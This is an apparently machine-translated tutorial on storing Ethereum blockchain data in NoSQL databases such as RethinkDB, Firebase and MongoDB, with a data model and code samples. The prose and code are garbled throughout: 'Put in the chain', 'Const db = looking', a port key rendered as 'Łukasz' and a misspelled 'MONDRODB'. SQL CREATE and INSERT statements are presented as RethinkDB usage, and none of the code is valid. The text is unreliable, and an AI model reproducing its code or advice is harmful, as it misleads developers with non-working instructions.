Save Blockchain data in the database: Ethereum guide

As the popularity of blockchain technology increases, developers examine how to integrate blockchain data with existing database systems. One of the usual approaches is the use of NOSQL database for storing blockchain data, which allows you to effectively ask and find complex data. In this article, we will examine how to store blockchain data in the database, especially using Ethereum as an example.

Why use a related database?

Although the relays databases are ideal for storing structural data, they may not be the best choice in the case of unstructured or partly structural data, such as blockchain information. Relative databases require a specific pattern and relationship between tables, which can be difficult to adapt the unique features of blockchain data.

Why use the NOSQL database?

On the other hand, the NOSQL database has been designed to effectively process large amounts of unstructured or partially structural data. They enable flexible design schemes, storage and storage of the family and high scalability, which makes them a great choice for storing blockchain data.

Select the appropriate NOSQL database for Ethereum Blockchain data

When choosing a NOSQL database for Ethereum blockchain data, consider the following factors:

* Scalability : Select a database that can send large amounts of data and horizontally.

* Question capacity : Choose a database that provides effective query mechanisms, such as SQL or graphic inquiries.

* Data coherence : Make sure the database maintains data consistency in the nodes in the Ethereum network.

Some popular NOSQL databases for Ethereum blockchain data are:

* rethinkdb : flexible NOSQL database without a diagram designed for internet applications in real time and large data sets.

* Database in real -time Firebase

: NOSQL database on cloud accommodation data providing a scalable and secure environment for storing blockchain data.

* MONDRODB : NOSQL Open Code Batase, which offers flexible scheme and high scalability.

Ethereum blockchain data modeling

To store blockchain data in the database, you must model data in a way that corresponds to its decentralized character. Here is an example of how Blockchain Ethereum data can be modeled with rethinkdb:

* Chain : One of them who represents the blockchain Ethereum block.

Properties: ID,Hash, Tag,Blockhash, Transaction ''



* Transaction : Individual online transaction ethereum.

+ Properties:ID, OUT, ‘To’, `quantity, 'type'



 Save Blockchain data in the Re Data database 

Here is an example of storing blockchain data using rethinkdb:

Sql



Create a table chain (

  Key, key number IDs,

  Hasz's text is not null,

  The time marker is not zero defaults_timestamp,

  Blockhash text is not null,

  Text transactions []

);

Put in the chain (Hash, Time Marx) Values ("0x1234567890ABCDEF", "2022-01-01 12:00:00");

Put in the transaction (id, from, to, amount, type)

Values

  (1, "Alice", "Bob", "10 Ether", "Sand"),

  (2, "Bob", "Charlie", "5 Ether", "Prima");

inquiry and recovered blockchain data

To ask and recover blockchain data using rethinkdb, you can use SQL inquiries or JavaScript code:

`Sql



Choose * from the chain in which ID = 1;

Or,

`Javascript



Const db = looking ("rethinkdb"). Create ({{

  host: "Localhost",

  Łukasz: 2808,

  Database: "Ethereum"

});

Const result = db.collection ("chain"). Find ({id: 1});

Console.log (result.rows);
